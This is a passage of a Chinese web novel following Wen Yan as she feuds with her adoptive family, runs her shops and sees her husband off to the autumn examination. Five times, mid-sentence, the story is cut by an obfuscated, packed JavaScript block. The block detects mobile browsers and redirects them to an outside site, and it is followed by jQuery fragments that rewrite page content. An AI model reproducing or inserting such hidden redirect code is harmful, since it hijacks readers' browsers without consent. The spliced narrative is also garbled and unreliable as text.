“呸!少在这里假惺惺,闻颜亲口说的,你们早就合谋在一起,你猜到我今晚会动手,所以提前告知闻颜,所以我才会输得这么惨!” 江心葵瞪向闻颜:“我什么时候给你通风报信过了?” “我何时说过这种话?”闻颜一脸无辜,眼圈都红了,她看着闻岫云,“三妹妹,你亲眼见证全程,我何时说过那样的话?” 闻岫云摇摇头:“二姐姐确实没说过那些话。” 闻岫云和闻颜从小较量到大,一直看对方不顺眼,闻府无人不知无人不晓。 所有人都坚信,闻岫云不落井下石就不错了,绝无可能帮闻颜说话。 那就是闻如月在撒谎啰? 进门之后,一直没有吭声的闻择端,此时也开口了,“如月,你别再犟了,也别乱找借口了。 当着大家的面认个错,再跟闻颜赔个不是,此事就过去了。” “大哥,竟然连你也不信我!”闻如月从心底生出一股无力感。 这难道就是所谓的血亲家人吗? 闻家虽有钱有势,却不如柳家。 柳家虽穷,却在任何情况下,都站在她这一边。 闻择端目光闪躲:“如月,我们都是为了你好……” “等等。”闻颜打断兄妹二人的争吵。 她直愣愣地看着江心葵:“娘,长姐说的都是真的吗?你早就知道长姐要对我下黑手,你却视而不见,任由长姐对我,对我……呜呜……” 闻颜伤心欲绝,身体晃了晃,一副要昏死过去样子。 佩儿连忙上前扶住她,气愤道:“你们不过是想利用小姐,搭上恭太妃,根本不是真心接纳我家小姐。 孙嫂子,我们现在走。 不留小姐在这里受委屈。” 孙嫂子立即上前,与佩儿一左一右搀扶着闻颜就往外走。 闻父见状,连忙上前拦住三人。 又是劝又是哄,又是强逼着闻如月给闻颜道歉。 “要道你们道去吧。”闻如月宁死不屈,最后直接搬出津平侯府,才把闻家给镇住。 “爹娘哥哥,你们太让我失望了。你们甚至连柳家那些泥腿子都比不上!” 扔下这句话,闻如月就愤然离去。 闻家人又安抚了闻颜一会儿,这才离开。 待闻家人一走,伤心欲绝的闻颜瞬间变脸。 她坐到椅子里,给自己倒了杯茶润嗓子。 佩儿偷笑:“小姐,你看见闻家人的嘴脸了吗?一个个就跟吃了苍蝇一样。” 闻颜淡笑道:“这才哪到哪儿啊!这才刚刚开始。” “小姐你这招离间计用得太好了,他们狗咬狗的样子,看得大快人心,看他们以后敢不敢高高在上,颐指气使地对你。” 佩儿突然幸灾乐祸,“闻如月现在应该在洗了脸吧,她想看她暴躁的样子。” 闻如月的房间里。 丫鬟将第四盆水端下去。 丫鬟走得极快。如果仔细看,就会发现她手脚都在颤抖,一副恐惧极了的样子。 闻如月坐在梳妆台前,看着镜中的自己。 只见她上半张脸是墨黑色,下半张脸则是一道道墨迹。 乍一看,还以为她是一个怪物。 “这墨怎么会洗不掉?明明水都已经变清澈了,我脸上的墨痕却一点没有变浅! 肯定是闻颜那个贱东西,在墨里加了别的东西,才会这样!” 闻如月抓狂尖叫:“闻颜,我跟你势不两立!” “人呢?都死哪儿去了? 再去拿几块香胰子来,我要继续洗。” 她就不信了,脸上这些东西会洗不掉。” ** 佩儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344306|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好奇询问:“小姐,你让我往墨汁里加的什么?为什么会洗不掉?” “一些黑桃壳的汁液而已。” 佩儿‘扑哧’一声笑出来,“那她岂不是要等三四个月,才能恢复面貌?” “真要那么久,闻如月非得把我砍了不可,也就半个月时间吧。” “那岂不是就到兰贵妃生辰了?” 闻颜收拾好一切,就躺下休息了。 一夜无话。 次日。 闻颜睡到自然醒才起床。 用过早饭之后,她就指挥着佩儿,把院中的花草全部挖出来,随后送到新开的铺子里去。 途中。 他们绕道去了一趟霜姨他们的住处,把花匠夫妻接上。 花匠夫妻陡然看见闻颜,激动地就要跪下给闻颜嗑一个:“闻小姐,多亏你帮我们找到良医,我老伴才能及时医治。 现在已经开始好转了。” 闻颜连忙将人扶起:“林大夫很有名,你们迟早也会打听到京城的。” 花匠摇摇头:“不是这样的,我妻子病情很严重,等我自己找到林大夫,治疗效果可能不会如此理想。” “能帮到你们就好。”闻颜笑容亲和。 随后,她就说起,去新铺子里,帮忙种植花草。 花匠一口答应,还不肯要工钱。 花匠到了宅子之后,看见那些花的品种,瞠目结舌,半天才道:“都是极名贵的花!” “现在不是移栽花木的季节,希望不会死掉。”花儿越名贵越难养。 “已经提前摘掉花朵,只要精心养护,就不会死的。”花匠打包票道,“闻小姐,你放心吧,我一定会让它们健康活着的。” “那这里就交给你们了。” 花匠又问起‘素冠荷鼎’什么时候要,再有几天就要开花了。 “半个月之后才要,你能让它延迟几日开花吗?” 花匠想了想:“我会尽量让它晚些开。” 安排好一切事宜。 闻颜从宅子里出来。 佩儿问道:“小姐,为什么还要等?我看闻如月已经很着急了。” “再等等,只有穷途末路,她才会倾尽所有。” 第265章:要休妻 闻颜又在闻家住了三日,就准备离开了。 她按照孟家的礼物单子,把属于自己的东西,一件一件搬上马车。 闻父和江心葵特地来见她。 闻如月也跟着来了。 她涂了厚厚的脂粉,也遮不住她脸上的墨迹。 江心葵看着值钱的东西一件一件搬走,就跟挖她的心一样难受。 闻父搓着手:“你看,恭太妃那边。” 闻颜一拍额头:“瞧我这记性,怎么把如此重要的事情给忘了。” 她露出纠结的神情:“让我引荐完全没有问题,只是……我与父亲母亲关系不睦,已经全城皆知,我忽然将你们带到恭太妃面前,恐怕不太妥当。” “怎么,东西还没搬出门家大门,你就想耍赖不成?”闻如月摸了摸脸颊,嘲讽道,“爹娘,这就是你们欺负我,也要讨好的好养女!” 闻颜眨眨眼:“我只是说,直接带你娘去不全知,却没说不能引荐别人啊。” 闻如月眼睛骨碌碌一转,莫非,闻颜是想引荐自己? 算她有眼光。 自己可是侯府的世子夫人,整个闻家,只有自己够格和太妃往来。 闻父和江心葵对视一眼,也觉得闻如月是最好的人选。 如此一来,他们在津平侯面前,也能挺直脊背了。 闻颜脸色一沉,闻父就连忙改口:“岫云,你看岫云行不行?” 说出这个名字后,闻父竟然觉得岫云才是最佳人选。 岫云美貌,颇有才华,嘴巴又甜,定能哄得恭太妃高兴。 不像闻颜和闻如月,一个冷心冷肺,一个眼睛长在头顶上。 “勉勉强强吧。”闻颜露出一副勉为其难的样子,但还是答应带上岫云了。 “我不同意!”江心葵立即反对。 桃姨娘那个**,本就把老爷的魂勾走了。 若是再让她的女儿搭上恭太妃,以后桃姨娘岂不是要骑到自己头上作威作福! 况且。 讨好闻颜,跟闻颜赔礼道歉的,是她和如月。 凭什么苦让她们吃了,福却让桃姨娘那个**来享。 然而,不是她反对就能换人的。 闻父沉着脸问她:“那你相让谁来?” “我去。”江心葵道,“或者让我的大侄女去。” 给到娘家,也不可能便宜桃姨娘那个**。 闻父气笑了。 “你可真敢想。闻家的机遇凭什么让江家掺和,就定岫云了,你若是再作妖,就回你的江家去。” 江心葵怔住。 她以为丈夫会二选一,最后强押着闻颜带自己。 没想到他竟动了休妻的心思。 江心葵哇地一声哭出来,捏着小拳头捶打着闻父:“你这个负心汉,这么多年我都错付了……” 闻颜差点压不住上翘的嘴角,含混着告辞一声,连忙坐上马车,离开了。 从闻家搬出来找东西,闻颜并不打算搬回松山村。 她直接运回了‘一点墨’。 随后就叫来,京城最大的典当行。 最值钱的都被闻如月祸祸过了,她要统统卖掉。 闻如月并没有多爱惜这些东西,所以折价很多。 她拿着这笔钱,租了一幢二进的宅子。 又在牙人处找人把宅子里里外外,彻底打扫一遍,补充了一些家具物什,最后还剩下七八百两在手中。 没有变卖的,她都收在‘一点墨’的库房里。 京城里再无别的事。 闻颜就快马加鞭地回到松山村。 离秋闱只剩**天。 她答应过应知林,会回来陪她一起准备,她就不能食言。 与孙嫂子辞别后,闻颜一路紧赶慢赶回到松山村。 发现家中来了客人,正和应知林在书房里说话。 “应兄,你考试期间,就去我家住吧。我家宅子宽敞,又有下人侍候,绝对比你住客栈好得多。” 应知林婉拒:“我娘子应该为我准备了住处,就不麻烦大师了。” 吆喝,竟然还有人来挖应知林的墙角,她倒要看看是谁。 闻颜歪着脑袋,往窗户里一瞧。 发现登门之人,竟是无蕴子大师。 应知林一副谦和有礼,沉稳有度的模样。 察觉到视线,应知林一回头就看见了闻颜。 “你回来了!”他顿时喜形于色,立即起身迎了出来。 他目光不错地打量着她,笑得露出八颗牙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344307|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 齿。 无蕴子看见闻颜,就想起那一天,那个山洞中传出的阵阵惨叫,以及闻颜身上染血的模样。 他就忍不住害怕,目光闪躲不敢看闻颜。 匆匆告辞之后,就离开了。 闻颜看着他落荒而逃的背影,也很无奈。 杀司徒明给他留下的心理阴影,果然挥之不去了吧! 应知林发现两人之间有古怪,但他什么都没问。 他谨记自己在闻颜面前的人设,一个为弟妹操碎了心的,佯装沉稳大哥。 只有自己够脆弱,才能吸引闻颜的注意力。 闻颜拿出一包点心给他:“喏,食味斋的点心,特意给你带的。” 应知林立即打开吃了一块,满足地点点头:“好吃。” 闻颜发现,应知林在别人面前,总是一副风雨不惊,稳重可靠的样子。 只有在自己面前,才会露出本性的一面。 可见他平时顶着多大的压力。 他也是很不容易。 应知林被她看得不自在,放下点心:“是我吃得太难看了吗?” “当然不是。”闻颜给他倒茶,“这些全是你的,慢慢吃。” 应知林腼腆一笑,显得越发乖巧。 出来活动筋骨的辰七哥见状,下巴都快掉地上了。 应知林又在颜颜面前扮娇弱了。 狗东西,为了闻颜,真是什么手段都能使出来。 他瞪了应知林一眼。 应知林挑衅地抬了抬眉。 辰七哥:“……” 坐了一会儿。 闻颜就跟应知林说起住宿之事。 “我租了一个二进的宅子,离贡院不算近,但也没有多远。 考试期间,你就住在那里吧。当然,你若是没找到住处的同窗,也可一起住。 五十文一天的房租,包三餐饮食,早食有鸡蛋,中、晚食保证有一道荤菜。” “当然有!” 梧桐书院有许多外地来的寒门学子。 每到应考时间,虽有少数住在要好的同窗家中,大部分还是住在客栈。 客栈人员复杂,环境吵闹,吃食也有许多担心。 五十文能住在独立的院子,那是再好不过。 第266章:装过头了 确定好房间数量之后,应知林就坐不住了。 “我现在就把这个好消息告诉师兄师弟们。”他站起来,迫不及待地出门。 刚到门口,他忽然停住,跑回院子里,一把抓住闻颜的手,幽墨深沉的眼神,一眨不眨地与她对视:“谢谢你。” 应知林的手掌,巨大、干燥又温暖。 闻颜的手在他掌心,显得瓷白又小巧。 精致得让他想一直握在手中把玩。 闻颜很自然地抽回手:“快去吧,再耽搁天就要黑了。” “好,我快去快回,你等我回来陪你说话。”应知林转身就离开了。 闻颜看着他轻快的背影,觉得他才是十六七岁的孩子。 闻颜先去检查应知海的学习成果,又跟辰七哥和五婆婆聊了会儿天。 得知二姑姑那边,最近很安分,一点幺蛾子都没闹,还时不时到五婆婆跟前尽孝。 事出反常必有妖! 二姑姑一家若是安分之人,岂会闹出先前那些事。 “辰七哥,你平时在家,多留意着那边。”闻颜提醒道 “这还用你说?”不出意外,他下半辈子都要跟着闻颜混了。 给闻颜添堵,就是给他添堵,他不允许。 随后,闻颜又去西跨院的颜料作坊巡查。 虽然工匠都是从战场退下来的大老粗,经过个把月的学习,他们已经能熟练掌握研磨手艺。 挑色挑得很细致,制作出来的颜料,很是细腻,牢色度也很好。 不过,闻颜却皱起了眉头:“不是给你们准备了遮掩口鼻的布巾吗?为何不戴?” 工头不好意思地挠了挠头:“布巾太厚了,戴上它不舒服,喘气也闷闷的,耽误我们干活。” “闷闷的也要戴。研磨有许多微小粉尘,若是吸进肺里,会生很严重的病。”闻颜神情严肃地说道。 闻颜平时笑眯眯的,为人和善。 第一次见她生这么大的气,几人都有些心虚,不敢看她。 闻颜缓和了一下语气,苦口婆心道:“你们做工赚钱,不就是为了好好生活吗?身体要是垮了,赚再多的银子有何用? 你们赚够银子,就能将重要的家人接过来了。 我听李婶子说,你们每天除了做工就是窝在院子里,没事儿就多出去转转,既锻炼身体,也能身心愉悦。” 闻颜觉得自己有些交浅言深了,尴尬地摸了摸鼻尖,就离开了。 工匠听说能将家人接来,心里就很是高兴。 自此之后,颜料作坊的人,全都戴上了布巾。 也里常在人少的时段,去村子里转悠。 村里不少人对他们的残破的身体指指点点。 不过,得知他们是从战场上退下来的之后,都心存敬意,无人再议论,反倒时不时塞一根黄瓜当零嘴。 当然,这些都是后话了。 闻颜尴尬地回到正院,就见刘婶子正和五婆婆聊天。 闻颜欣喜:“刘婶子,你们都回来了!” “前儿回来的。老板娘说她们都学得差不多了,就让领着她们回来了。” “这些是一个月的花销。”她将账本和钱袋塞回闻颜手里。 “他们的手艺如何?” 刘婶子立即跟她说了拔尖的几人,其中就有香莲。 刘婶子对香莲是赞不绝口:“这是唯一能改变她全家命运的机会,她学得特别认真卖力。我经常看见她半夜还在偷偷练习。” “那就通知她们,明天让他们过来,我要考验。技术太差的,就直接淘汰。” 听说还会淘汰,刘婶子顿时打起十二分的精神:“我今儿晚上保证挨个通知到。” 刘婶子又跟闻颜说了一会儿话,眼看天色不早了,她就告辞回去。 闻颜给她塞了两包点心,一块细棉布。 转眼就天黑了。 晚饭过后,闻颜坐在窗前乘凉。 她的脑袋一点一点的,眼看就要睡着了。 忽然,幽香入鼻。 闻颜睁开眼睛,入眼的便是一大捧荷花。 白的粉的,虽然花瓣已经闭合,但是挤挤挨挨,很是好看。 “给你的。”头顶传来温和清雅的声音。 应知林把花塞进闻颜怀中。 闻颜很是喜欢,抱着荷花爱不释手:“你在哪儿摘的?” 应知林顾左右而言他:“你去晋阳府前,我答应过会摘荷花给你,不能失言。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344308|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他越是回避,就越有问题。 “你还没说花是从哪儿摘的?” 应知林以拳抵唇,轻咳两声:“族长家的藕田里。” “我听说族长把藕田看得紧,你摘了他的花,确定他不会撵得你满村跑?” 应知林站得笔直:“族长老胳膊老腿,他撵不上我。” 闻颜扑哧一声笑出来:“以前怎么没发现,你这般调皮。” 应知林道:“以前看别的孩子这样做,我觉得很有意思,就想自己也试一回。” 所以,他以前为了照顾弟妹,一直压抑着自己的本性,逼自己像个稳重的大人。 现在成家了,觉得有自己给他兜底,便放飞自我? 闻颜越想越觉得是这么回事。 顿时觉得自己肩上担子很重。 要是几年后和离。 应知林无人可依,岂不是又要压抑秉性,做回那个可靠稳重的大哥? 闻颜忽然有些于心不忍。 她垂眸思索片刻,便对应知林道:“你放心吧,我走之前,一定帮你物色一个沉稳可靠的娘子的。” 应知林:“……” 好像装可怜,装过了。 “时间不早,你先休息吧。”应知林气闷地走了。 “哈哈哈哈……”辰七哥的厢房里,突然暴发出一阵狂笑。 辰七哥笑得脸都扭曲了,最后倒在地上捂着肚子打滚。 该! 姓应的,让你装可怜骗我妹! 搬起石头砸自己的脚了吧! “哈哈哈哈……” 闻颜:“……” 莫名其妙! ** 一夜无话。 翌日一早。 应知林在屋里收拾考试要用的东西。 闻颜在一旁帮忙。 刘婶子就带着‘净面娘子们’来了。 要考校她们的学习成果,闻颜和佩儿就当了考题,让她们给二人洁面。 闻颜和佩儿再根据她们的实力打分。 她们都很紧张,推推搡搡的都不敢第一个来。 最后还是香莲站了出来。 看得出来她很紧张,深吸一口气,道:“我先来吧。” 第267章:撵人,立威 随后,她就在闻颜脸上操作起来。 她的手法柔中带劲很是舒服,结束的时候,闻颜都昏昏欲睡了。 闻颜毫不吝啬地给她打了满分。 香莲非常激动,连连鞠躬说谢谢。 有了香莲打头,闻颜又如此和善,后面的人胆子都大多了。 可以看出,这些姑娘们学得都很用心。 手法、力度都很不错。 直到新的一个‘净面娘子’上手,才刚开始,闻颜就叫停了。 闻颜翻身坐起,抓过她的手:“你的手为何如此粗糙?刚才刮得我脸好疼!” 妇人二十出头,长得还算漂亮。 她紧张地将手缩回,不敢看闻颜的眼睛。 “我给你们每人准备了一大罐润手膏,只要每天按我教的方法除茧敷手,一个月时间下来,你的手不该如此粗糙的。” 刘婶子提过她的家境。 她家里虽穷,但她夫君、婆婆都很疼她。 她只负责家中事务,手的粗糙程度在众多学员当中都算是好的。 别人的手虽不如少女细嫩,但都没有老茧了。 绝对不会像她的手这般。 妇人支支吾吾,低着头说不出话来。 还偷偷给刘婶子使眼色,希望她帮自己说说情。 闻颜见她不答,耐性耗尽。 刘婶子一直察颜观色,见闻颜神情变化,她当即催促那妇人:“我每天都盯着你们去茧护手,你的手到底什么情况?你倒是快说啊!” 妇人见事情瞒不住了,刘婶子也不肯帮她。 这才扭扭捏捏地开口解释。 闻颜却抬手阻止了她:“算了,你也不必解释了。 我看你对这份活计也不甚在意,那从今以后你就不必来了。让你去学手艺浪费了一个月时间,等会儿让刘婶子给你结五百文工钱吧。” “不要啊!”妇人这才慌了,急急解释:“我不是故意的。我只是觉得我去学手艺,每天吃香的喝辣的,轻轻松松什么都不做,而我婆婆却在家中忙里忙外,辛苦操劳。我心疼她,便将润手膏分了她一半。” “秀才娘子,您就看在我一片孝心的份上,饶过我这一回吧。以后我一定尽心尽力做事,再也不会把拿润手膏去尽孝了。” 闻颜不语。 佩儿上前道:“你这人好没道理,我家小姐既然把润手膏给了你,润手膏就是你的,你要如何处置使用,我家小姐才懒得管这闲事。 你便是一点润手膏不用,只要能让手恢复跟其他人一样就行。 可是你拿了东西,却达不到我们的要求。 今日给你开了先例。 往后别人也有样学样,给客人偷工减料,昧下客人用品,我们又该如何处理? 我家小姐开门做生意,不是来行善的。” 佩儿一通话,说得众**气都不敢出。 就连刘婶子,都垂眸凝神,不敢吱声。 “没有规矩不成方圆,刘婶子你现在把她带走吧。”佩儿拿出一串钱交到刘婶子手里。 刘婶子拿过钱,拉着妇人离开。 那妇人不断挣扎,都急得哭了出来。 刘婶子把她推至院外,呵斥道:“你闹什么闹。这一个月来,我日日叮嘱你们,你自己不珍惜机会,怪不了别人。” 妇人急得直抹眼泪,想求刘婶子说情,刘婶子‘砰’的一声关上院门。 院中。 ‘净面娘子’们噤若寒蝉。 做事都小心翼翼。 好在后面的人一一考试之后,闻颜都给了合格。 “在我手下做事,技术可以慢慢练,我更看得懂规矩,守本分。 你们有谁觉得我这儿规矩严,不适应的,现在就可以退出了。 因为接下来,我的规矩会比现在严一百倍。” 众人互视几眼,无一人退出。 “既然无人退出,那就回去准备准备,过几天跟我一道去京城,学礼仪。” 没有被淘汰,众人松了口气。 但是心里又忐忑不安,害怕自己规矩学不好,会被淘汰。 众人屏气凝神,挤挤搡搡,迫不及待地出了应家的小院子。 待这些人走后。 院子中就只剩下刘婶子和哑妹。 不等刘婶子开口。 哑妹就自己走了过去,对着闻颜一通比划,表示要给她染蔻丹。 一个月前,刘婶子带着众人去花楹镇时,闻颜特地让她把哑妹带上。 哑妹年纪小,不学净面的活。 闻颜单独出了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344309|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 束脩,让她专门去学画画花钿,和染蔻丹的手艺。 经过一个月的时间,哑妹觉得自己算是学有所成。 哑妹也长胖了一些,皮肤也白了一些。 身上穿着一身旧衣,看着精神了不少。 再加上她眼睛圆圆的,亮亮的,若是再换一身喜庆的衣赏,就像散财童子一样喜庆。 闻颜笑着问道:“刚才我那么凶,你不怕我?” 哑妹摇摇头,用手比划:“我没做错事,你不会罚我。” 闻颜笑着揉揉她的脑袋:“你倒是什么都知道。” 随后,哑妹就开始给她染蔻丹。 染蔻丹需要时间,第二天拆开了包的树叶之后,闻颜发现哑妹的蔻丹染得很有意思。 她将花钿和蔻丹融入一起,她红色的指甲上,便出现了不一样的花纹。 不过因为画技一般,图案还比较稚拙。 但这也让闻颜大为惊喜。 如果能做出更多的样式,定能受到京城贵女们的青睐。 她当即就拉着哑妹,对她道:“你跟着我学画画吧。” 哑妹不懂闻颜的意思,歪着脑袋,明亮的大眼睛里满是困惑。 当然,这些都是后话了。 考校结束的当天。 松山村各处都在传着关于闻颜的流言。 手糙的妇人,失魂落魄地回到家中。 家人见她情绪低落,便追问缘由。 她哭唧唧地说自己被辞退了,仅仅是因为手太粗糙。 她婆婆听她,与她一起同仇敌忾,数落闻颜的不是:“她可是秀才娘子,怎能如此斤斤计较,一点都不大气! 不就是一罐润手膏的事儿吗?大不了我们把手膏钱补上,凭什么把我们刷掉!” 她的夫君却说:“谁让你去当这个出头鸟的,不杀一杀你,如何镇得住其他人。 就好比,你请人来做一桌大席,人家给你做一桌素斋,你还能再用这个厨子?” 婆婆哑口无言。 “难道,这份工我真的要放弃吗?要不要送点礼,再说说情?”妇人还是有些不甘心。 她可是起早贪黑,用心学了一个月。 连老板娘都说她很有天赋,做得很好。 她不甘心就被撵出来。 第268章:秋闱、入场 妇人夫君见她虎头虎脑,怕她再做出什么错事,便叮嘱道:“秀才娘子是个讲规矩的人,她的眼界不在小小的松山村,不会记恨我们。你安分些,以后扩招,或是有新的活计,我们再去争取也不迟。” 妇人闷闷地应了一声,还算听话。 当然,对她心存怨怼的只是少数,赶尽感谢的反而是多数。 比如香莲一家。 香莲婆婆在得知她通过考核后,高兴得极了。 当即就抓了家里的大公鸡,宰了给闻颜送去。 对于这些好好坏坏的议论,闻颜不仅不讨厌,反而还喜欢得很。 人善被人欺,马善被人骑。 只有不好惹,他们才会谨慎小心地做事。 她后面生意做起来,太好说话,只会给自己招麻烦。 闻颜用心准备行李,明日就要进京了。 秋闱一般在府城,松山村是京城的辖地,考试自然也在京城。 应知林要提前去京城适应环境。 远些的学子,提前半个月来了。 闻颜正在系包袱,因为力气不够,总是松松垮垮的。 “我来吧。”应知林接过手。 巨大的手掌,轻易扯住了系带,三两下就将包袱系得牢牢的。 小海突然兴冲冲地跑进院子:“嫂嫂,你看谁来了。” 闻颜回头,就见一对老夫妻,互相扶持走了进来。 正是张敢娘夫妇。 “爹、娘,你们怎么来了?”闻颜笑着迎了上去。 “应秀才马上就要秋闱了,我们来看看,有没有什么我们帮得上忙。”张敢娘笑眯眯的说着,状态看着比上次还要好一些。 柳父便将一个钱袋子递给应知林:“这是我们的一点心意,应秀才你别嫌弃。” 应知林没有伸手接,而是看向闻颜。 见闻颜点头,他才接过,特别嘴甜:“谢谢爹,谢谢娘。” “哎!哎!好孩子。”张敢娘夫妻俩心里甜滋滋。 闻颜留他们吃过午饭,眼看天色渐晚,夫妻俩才离开。 离开了闻颜家,张敢娘拉着老伴的手,激动地道:“孩子他爹,你听见了吗,今天颜颜叫我们爹娘了。” 柳父也激动得点头如捣蒜:“听见了。 颜颜温温柔柔的叫我爹,我的心都化了。”当时他差点没忍住,飙出眼泪来。 “当时我都不敢答应,害怕是我的错觉。” “颜颜终于承认我们了,真好!” 夫妻俩互相搀扶着,渐行渐远。 而此时,远在京城的闻府。 闻父下衙回来,管家连忙上前侍候。 闻父脱下官服:“外面可有新的谣言?” “没有,我早中晚三次派人出去打听,都没有任何谣言。” 闻父重重松了口气,吐槽道:“以前她哪次回来,不是弄得腥风血雨,流言满城。 此次竟这般安静,我好不习惯。” 翌日一早。 闻颜他们就出发了。 把家里的事交给辰七哥,应知海和应知雪也一起带去了京城。 闻颜他们走在前面,几辆牛车载着‘净面娘子’,跟在后面。 防止老应家**。 闻颜他们一走,应族长就带着人封了村。 在秋闱结束之前,村子里只准进不准出。 不用着急赶路,一行人中午才到京城。 佩儿带着‘净面娘子’去新铺子的后院宿舍。 闻颜领着应知林,去租用的宅子。 宅子里已经来了好些赶考学子。 看见闻颜,很守礼地跟她打招呼。 将这边安排好之后,闻颜就回‘一点墨’。 ‘一点墨’的笔墨纸砚,原本就物美价廉。 闻颜在原本就薄利的情况下,又做了八折促销,导致店里的生意爆好。 闻颜基本上不赚钱,但是给店里赚了人气,也盘活了供货的商户。 店里客满为患,闻颜坐在柜台里,帮忙收钱看店。 就听几个刚进店的人议论:“听说了吗?方圆赌坊开了盘,押谁是今秋解元。” “那还用说,肯定是津平侯府的世子爷啊,三年前他就是院试第一名,今年肯定也是他。” “那不一定。霍世子只是京城院试第一名,乡试可是包含了周边四府的优秀学子,霍世子不一定比得过。” “对,我听说有一个姓祁的学子,他今年才十九岁,就是沧州府院试第一名。 据说他是出身寒门,却是天生的读 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344310|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书苗子。” 姓祁的沧州学子。 莫非是祁云舟。 他确实是天生的读书苗子。 前世的本次乡试,他只取得了第十名。 优秀,但不足以让人觉得是个威胁。 直到会试、殿试他连夺二元,成为大庸宝顺三十三年的新科状元。 以一名之差,让苦心孤诣的霍耀行也只能屈居第二。 “我还是相信霍世子,知根知底,我要买他夺得解元……” “我投祁学子……” 顾客一边挑货,一边言论着此事。 闻颜只是笑笑,并不参与此事。 倒是晚上佩儿回来时,询问闻颜要不要下注:“那位祁学子很不错,下注率几乎跟霍耀行持平,说不定他能把霍耀行比下去。” 直到此时,家中没有一个人觉得,应知林会考中举人。 就算中举,名次也是吊车尾,根本不可能与这些天之骄子争解元。 闻颜轻轻弹了一下她的脑门,笑着道:“想玩就拿一角碎银子,去买霍耀行吧。” “干嘛要买他,这不是涨他人志气,灭自己威风吗?”佩儿不高兴地撅着小嘴,但很快她又把自己哄好了:“霍耀行不是个东西,银子可没错。小姐,我很快就回来。” 佩儿一阵风似的卷出了铺子。 距离考试日越来越近。 闻颜 带着人给他们做干粮。 晒干的熟米饭,饼烤好之后碎成丁,蔬菜干、肉干…… 每天不同东西轮着做,弄得满院飘香,馋得住在宅子里的学子,都没法安心读书。 时不时就有人来打探情报,他们在做什么好吃的。 闻颜又买了一些降暑药、扇子、油布披风等东西。 闻颜给他们每人发了一份,足够他们考试期间使用了。 转眼就到了报考这一日。 下午进场。 在号舍里适应一夜,翌日清晨开考。 在家中吃过午饭之后,他们才出发,步行至贡院。 闻颜已经不是第一次送考,流程十分熟悉。 贡院前,她又叮嘱应知林和他的同窗们,再检查一遍考篮。 以防有心之人,塞入什么奇奇怪怪的东西。 第269章:开考、腹痛 每年在考场外面,都会逮到几个带夹抄的。 考场外的短短时间,才是最危险的时候。 贡院门前围得水泄不通,除了送学子考试的家眷,还有凑热闹的百姓。 人挨着人,一不小心就会被小人塞了小抄。 还找不好凶手。 大家都仔仔细细的检查。 除了考篮、衣服、鞋子也没放过。 就在此时,一辆华丽的马车朝贡院门口驶来。 “当心!”忽然,应知林用力拉了闻颜一下。 闻颜踉跄着撞进应知林怀里,他也被带得往后退。 两人站稳之后,应知林还是将她圈在怀中保护起来。 闻颜回头,就见一辆熟悉的马车,停在她刚才所站的位置。 马车帘子掀起,露出霍耀行那张棱角分明的脸。 路边有人兴奋尖叫:“快看,是霍世子。” “霍世子果然英俊不凡,还满腹经纶。” “霍世子,看这里……” 霍耀行面无表情地放下帘子。 别人或许当他是性子高冷,闻颜却一眼看出,他已经生气了。 不过这不关她的事。 她叮嘱应知林几句,就催促他赶紧验明证身,先进考场。 霍家马车里。 闻如月陪着霍耀行一起来的。 霍耀行正要下马车,忽然被闻如月拦住。 霍耀行回头看着她:“怎么了?” “我给夫君准备了好东西。”闻如月从箱笼里拿出一只食盒,献宝似的晃了晃。 